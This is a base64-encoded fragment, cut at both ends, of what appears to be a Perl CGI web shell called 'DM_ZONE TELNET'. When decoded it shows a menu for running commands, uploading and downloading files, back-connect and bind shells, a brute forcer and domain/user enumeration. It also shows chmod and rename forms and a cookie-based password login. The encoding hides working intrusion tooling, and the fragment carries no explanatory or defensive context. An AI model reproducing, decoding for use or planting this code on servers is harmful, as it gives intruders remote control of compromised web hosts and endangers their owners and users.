24iLCJSZXNwb25zZURhdGEiKTsgcmV0dXJuIGZhbHNlOyc7Ki8NCgl2YXIgYWpheD0iIjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYWpheCArICInIHZhbHVlPU9LPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOw0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ0ZXh0XyIgKyBpKS5mb2N1cygpOw0KfQ0KZnVuY3Rpb24gcm1fY2htb2RfZm9ybShyZXNwb25zZSxpLHBlcm1zLGZpbGUpDQp7DQoJcmVzcG9uc2UuaW5uZXJIVE1MID0gIjxzcGFuIG9uY2xpY2s9XFxcImNobW9kX2Zvcm0oIiArIGkgKyAiLCciKyBmaWxlKyAiJylcXFwiID4iKyBwZXJtcyArIjwvc3Bhbj48L3RkPiI7DQp9DQpmdW5jdGlvbiByZW5hbWVfZm9ybShpLGZpbGUsZikNCnsNCgl2YXIgYWpheD0iIjsNCglmLnJlcGxhY2UoL1xcXFwvZywiXFxcXFxcXFwiKTsNCgl2YXIgYmFjaz0icm1fcmVuYW1lX2Zvcm0oIitpKyIsXFxcIiIrZmlsZSsiXFxcIixcXFwiIitmKyJcXFwiKTsgcmV0dXJuIGZhbHNlOyI7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nJyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1yZW5hbWUgdHlwZT10ZXh0IHZhbHVlPSAnIitmaWxlKyInIC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBhamF4ICsgIicgdmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBiYWNrICsgIicgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOw0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ0ZXh0XyIgKyBpKS5mb2N1cygpOw0KfQ0KZnVuY3Rpb24gcm1fcmVuYW1lX2Zvcm0oaSxmaWxlLGYpDQp7DQoJaWYoZj09J2YnKQ0KCXsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0kZGlyJmM9ZWRpdCUyMCIrZmlsZSsiJTIwJz4iICtmaWxlKyAiPC9hPiI7DQoJfWVsc2UNCgl7DQoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8YSBocmVmPSc/YT1ndWkmZD0iK2YrIic+WyAiICtmaWxlKyAiIF08L2E+IjsNCgl9DQp9DQo8L3NjcmlwdD4NCjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5mb2N1cygpIiBiZ2NvbG9yPSIjMGMwYzBjIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1hcmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiPg0KPGNlbnRlcj48Y29kZT4NCjx0YWJsZSBib3JkZXI9IjEiIHdpZHRoPSIxMDAlIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjIiPg0KPHRyPg0KCTx0ZCBhbGlnbj0iY2VudGVyIiByb3dzcGFuPTI+DQoJCTxiPjxmb250IHNpemU9IjUiPiRFZGl0UGVyc2lvbjwvZm9udD48L2I+DQoJPC90ZD4NCg0KCTx0ZD4NCg0KCQk8Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4kRU5WeyJTRVJWRVJfU09GVFdBUkUifTwvZm9udD4NCgk8L3RkPg0KCTx0ZD5TZXJ2ZXIgSVA6PGZvbnQgY29sb3I9IiNjYzAwMDAiPiAkRU5WeydTRVJWRVJfQUREUid9PC9mb250PiB8IFlvdXIgSVA6IDxmb250IGNvbG9yPSIjMDAwMDAwIj4kRU5WeydSRU1PVEVfQUREUid9PC9mb250Pg0KCTwvdGQ+DQoNCjwvdHI+DQoNCjx0cj4NCjx0ZCBjb2xzcGFuPSIzIj48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4NCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbiI+SG9tZTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNvbW1hbmQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkNvbW1hbmQ8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWd1aSZkPSRFbmNvZGVkQ3VycmVudERpciI+R1VJPC9hPiB8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5Eb3dubG9hZCBGaWxlPC9hPiB8DQoNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJhY2tiaW5kIj5CYWNrICYgQmluZDwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YnJ1dGVmb3JjZXIiPkJydXRlIEZvcmNlcjwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y2hlY2tsb2ciPkNoZWNrIExvZzwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG9tYWluc3VzZXIiPkRvbWFpbnMvVXNlcnM8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291dCI+TG9nb3V0PC9hPiB8DQo8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0iIyI+SGVscDwvYT4NCg0KPC9mb250PjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjxmb250IGlkPSJSZXNwb25zZURhdGEiIGNvbG9yPSIjZmY5OWNjIiA+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5TY3JlZW4NCnsNCg0KCXByaW50IDw8RU5EOw0KPHByZT48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpUeXBpbmdUZXh0ID0gZnVuY3Rpb24oZWxlbWVudCwgaW50ZXJ2YWwsIGN1cnNvciwgZmluaXNoZWRDYWxsYmFjaykgew0KICBpZigodHlwZW9mIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkID09ICJ1bmRlZmluZWQiKSB8fCAodHlwZW9mIGVsZW1lbnQuaW5uZXJIVE1MID09ICJ1bmRlZmluZWQiKSkgew0KICAgIHRoaXMucnVubmluZyA9IHRydWU7CS8vIE5ldmVyIHJ1bi4NCiAgICByZXR1cm47DQogIH0NCiAgdGhpcy5lbGVtZW50ID0gZWxlbWVudDsNCiAgdGhpcy5maW5pc2hlZENhbGxiYWNrID0gKGZpbmlzaGVkQ2FsbGJhY2sgPyBmaW5pc2hlZENhbGxiYWNrIDogZnVuY3Rpb24oKSB7IHJldHVybjsgfSk7DQogIHRoaXMuaW50ZXJ2YWwgPSAodHlwZW9mIGludGVydmFsID09ICJ1bmRlZmluZWQiID8gMTAwIDogaW50ZXJ2YWwpOw0KICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5lbGVtZW50LmlubmVySFRNTDsNCiAgdGhpcy51bnBhcnNlZE9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dDsNCiAgdGhpcy5jdXJzb3IgPSAoY3Vyc29yID8gY3Vyc29yIDogIiIpOw0KICB0aGlzLmN1cnJlbnRUZXh0ID0gIiI7DQogIHRoaXMuY3VycmVudENoYXIgPSAwOw0KICB0aGlzLmVsZW1lbnQudHlwaW5nVGV4dCA9IHRoaXM7DQogIGlmKHRoaXMuZWxlbWVudC5pZCA9PSAiIikgdGhpcy5lbGVtZW50LmlkID0gInR5cGluZ3RleHQiICsgVHlwaW5nVGV4dC5jdXJyZW50SW5kZXgrKzsNCiAgVHlwaW5nVGV4dC5hbGwucHVzaCh0aGlzKTsNCiAgdGhpcy5ydW5uaW5nID0gZmFsc2U7DQogIHRoaXMuaW5UYWcgPSBmYWxzZTsNCiAgdGhpcy50YWdCdWZmZXIgPSAiIjsNCiAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsNCiAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiI7DQp9DQpUeXBpbmdUZXh0LmFsbCA9IG5ldyBBcnJheSgpOw0KVHlwaW5nVGV4dC5jdXJyZW50SW5kZXggPSAwOw0KVHlwaW5nVGV4dC5ydW5BbGwgPSBmdW5jdGlvbigpIHsNCiAgZm9yKHZhciBpID0gMDsgaSA8IFR5cGluZ1RleHQuYWxsLmxlbmd0aDsgaSsrKSBUeXBpbmdUZXh0LmFsbFtpXS5ydW4oKTsNCn0NClR5cGluZ1RleHQucHJvdG90eXBlLnJ1biA9IGZ1bmN0aW9uKCkgew0KICBpZih0aGlzLnJ1bm5pbmcpIHJldHVybjsNCiAgaWYodHlwZW9mIHRoaXMub3JpZ1RleHQgPT0gInVuZGVmaW5lZCIpIHsNCiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7CS8vIFdlIGhhdmVuJ3QgZmluaXNoZWQgbG9hZGluZyB5ZXQuICBIYXZlIHBhdGllbmNlLg0KICAgIHJldHVybjsNCiAgfQ0KICBpZih0aGlzLmN1cnJlbnRUZXh0ID09ICIiKSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gIiI7DQovLyAgdGhpcy5vcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQucmVwbGFjZSgvPChbXjxdKSo+LywgIiIpOyAgICAgLy8gU3RyaXAgSFRNTCBmcm9tIHRleHQuDQogIGlmKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCkgew0KICAgIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI8IiAmJiAhdGhpcy5pblRhZykgew0KICAgICAgdGhpcy50YWdCdWZmZXIgPSAiPCI7DQogICAgICB0aGlzLmluVGFnID0gdHJ1ZTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI+IiAmJiB0aGlzLmluVGFnKSB7DQogICAgICB0aGlzLnRhZ0J1ZmZlciArPSAiPiI7DQogICAgICB0aGlzLmluVGFnID0gZmFsc2U7DQogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMudGFnQnVmZmVyOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5pblRhZykgew0KICAgICAgdGhpcy50YWdCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiJiIgJiYgIXRoaXMuaW5IVE1MRW50aXR5KSB7DQogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiJiI7DQogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IHRydWU7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiOyIgJiYgdGhpcy5pbkhUTUxFbnRpdHkpIHsNCiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciArPSAiOyI7DQogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOw0KICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLkhUTUxFbnRpdHlCdWZmZXI7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLmluSFRNTEVudGl0eSkgew0KICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2Ugew0KICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsNCiAgICB9DQogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9IHRoaXMuY3VycmVudFRleHQ7DQogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCArPSAodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoIC0gMSA/ICh0eXBlb2YgdGhpcy5jdXJzb3IgPT0gImZ1bmN0aW9uIiA/IHRoaXMuY3Vyc29yKHRoaXMuY3VycmVudFRleHQpIDogdGhpcy5jdXJzb3IpIDogIiIpOw0KICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7DQogIH0gZWxzZSB7DQoJdGhpcy5jdXJyZW50VGV4dCA9ICIiOw0KCXRoaXMuY3VycmVudENoYXIgPSAwOw0KICAgICAgICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsNCiAgICAgICAgdGhpcy5maW5pc2hlZENhbGxiYWNrKCk7DQogIH0NCn0NCjwvc2NyaXB0Pg0KPC9wcmU+DQoNCg0KPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgd2lkdGg9IjYwMCIgaGVpZ2g+DQo8dGJvZHk+PHRyPg0KPHRkIHZhbGlnbj0idG9wIiBiYWNrZ3JvdW5kPSJodHRwOi8vZGwuZHJvcGJveC5jb20vdS8xMDg2MDA1MS9pbWFnZXMvbWF0cmFuLmdpZiI+PHAgaWQ9ImhhY2siIHN0eWxlPSJtYXJnaW4tbGVmdDogM3B4OyI+DQo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+IFBsZWFzZSBXYWl0IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4NCg0KPGZvbnQgY29sb3I9IiMwMDk5MDAiPiBUcnlpbmcgY29ubmVjdCB0byBTZXJ2ZXIgLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLjwvZm9udD48YnI+DQo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPn5cJDwvZm9udD4gQ29ubmVjdGVkICEgPC9mb250Pjxicj4NCjxmb250IGNvbG9yPSIjMDA5OTAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PC9mb250PiBDaGVja2luZyBTZXJ2ZXIgLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLjwvZm9udD4gPGJyPg0KDQo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gVHJ5aW5nIGNvbm5lY3QgdG8gQ29tbWFuZCAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPg0KDQo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD5cJCBDb25uZWN0ZWQgQ29tbWFuZCEgPC9mb250Pjxicj4NCjxmb250IGNvbG9yPSIjMDA5OTAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PGZvbnQgY29sb3I9IiNGMDAwMDAiPlwkPC9mb250PjwvZm9udD4gT0tFIENPSyAhISE8L2ZvbnQ+DQo8L3RyPg0KPC90Ym9keT48L3RhYmxlPg0KPGJyPg0KDQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpuZXcgVHlwaW5nVGV4dChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaGFjayIpLCAzMCwgZnVuY3Rpb24oaSl7IHZhciBhciA9IG5ldyBBcnJheSgiXyIsIiIpOyByZXR1cm4gIiAiICsgYXJbaS5sZW5ndGggJSBhci5sZW5ndGhdOyB9KTsNClR5cGluZ1RleHQucnVuQWxsKCk7DQoNCjwvc2NyaXB0Pg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQWRkIGh0bWwgc3BlY2lhbCBjaGFycw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEh0bWxTcGVjaWFsQ2hhcnMoJCl7DQoJbXkgJHRleHQgPSBzaGlmdDsNCgkkdGV4dCA9fiBzLyYvJmFtcDsvZzsNCgkkdGV4dCA9fiBzLyIvJnF1b3Q7L2c7DQoJJHRleHQgPX4gcy8nLyYjMDM5Oy9nOw0KCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7DQoJJHRleHQgPX4gcy8+LyZndDsvZzsNCglyZXR1cm4gJHRleHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEFkZCBsaW5rIGZvciBkaXJlY3RvcnkNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBBZGRMaW5rRGlyKCQpDQp7DQoJbXkgJGFjPXNoaWZ0Ow0KCW15IEBkaXI9KCk7DQoJaWYoJFdpbk5UKQ0KCXsNCgkJQGRpcj1zcGxpdCgvXFwvLCRDdXJyZW50RGlyKTsNCgl9ZWxzZQ0KCXsNCgkJQGRpcj1zcGxpdCgiLyIsJnRyaW0oJEN1cnJlbnREaXIpKTsNCgl9DQoJbXkgJHBhdGg9IiI7DQoJbXkgJHJlc3VsdD0iIjsNCglmb3JlYWNoIChAZGlyKQ0KCXsNCgkJJHBhdGggLj0gJF8uJFBhdGhTZXA7DQoJCSRyZXN1bHQuPSI8YSBocmVmPSc/YT0iLiRhYy4iJmQ9Ii4kcGF0aC4iJz4iLiRfLiRQYXRoU2VwLiI8L2E+IjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQ0Kew0KCXByaW50IDw8RU5EOw0KPGJyPkxvZ2luIDogRE1fWk9ORTxicj4NCg0KUGFzc3dvcmQgU2FsYWggQ29rIDpwPGJyPjxicj4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpbkZvcm0NCnsNCglwcmludCA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImxvZ2luIj4NCkxvZ2luIDogRE1fWk9ORTxicj4NClBhc3N3b3JkOjxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0icCI+DQo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iID4+ICI+DQo8L2Zvcm0+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIGZvb3RlciBmb3IgdGhlIEhUTUwgUGFnZQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUZvb3Rlcg0Kew0KCXByaW50ICI8YnI+PGZvbnQgY29sb3I9cmVkPm8tLS1bICBETV9aT05FIFRFTE5FVCAgXS0tLW88L2ZvbnQ+PC9jb2RlPjwvY2VudGVyPjwvYm9keT48L2h0bWw+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBSZXRyZWl2ZXMgdGhlIHZhbHVlcyBvZiBhbGwgY29va2llcy4gVGhlIGNvb2tpZXMgY2FuIGJlIGFjY2Vzc2VzIHVzaW5nIHRoZQ0KIyB2YXJpYWJsZSAkQ29va2llc3snJ30NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBHZXRDb29raWVzDQp7DQoJQGh0dHBjb29raWVzID0gc3BsaXQoLzsgLywkRU5WeydIVFRQX0NPT0tJRSd9KTsNCglmb3JlYWNoICRjb29raWUoQGh0dHBjb29raWVzKQ0KCXsNCgkJKCRpZCwgJHZhbCkgPSBzcGxpdCgvPS8sICRjb29raWUpOw0KCQkkQ29va2llc3skaWR9ID0gJHZhbDsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBzY3JlZW4gd2hlbiB0aGUgdXNlciBsb2dzIG91dA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9nb3V0U2NyZWVuDQp7DQoJcHJpbnQgIkxPRyBPVVQgU1VLU0VTIENPSyA6UDxicj48YnI+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBMb2dzIG91dCB0aGUgdXNlciBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGxvZ2luIGFnYWluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ291dA0Kew0KCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUNCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQoJJlByaW50TG9nb3V0U2NyZWVuOw0KDQoJJlByaW50TG9naW5TY3JlZW47DQoJJlByaW50TG9naW5Gb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQoJZXhpdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0DQojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0DQojIG1hdGNoIG9yIGlmIG5vIHBhc3N3b3JkIGlzIGVudGVyZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlcg0KIyB0byBsb2dpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBlcmZvcm1Mb2dpbiANCnsNCglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZA0KCXsNCgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsNCgkJJlByaW50UGFnZUhlYWRlcjsNCgkJcHJpbnQgJkxpc3REaXI7DQoJfQ0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkJJlByaW50TG9naW5TY3JlZW47DQoJCWlmKCRMb2dpblBhc3N3b3JkIG5lICIiKSAjIHNvbWUgcGFzc3dvcmQgd2FzIGVudGVyZWQNCgkJew0KCQkJJlByaW50TG9naW5GYWlsZWR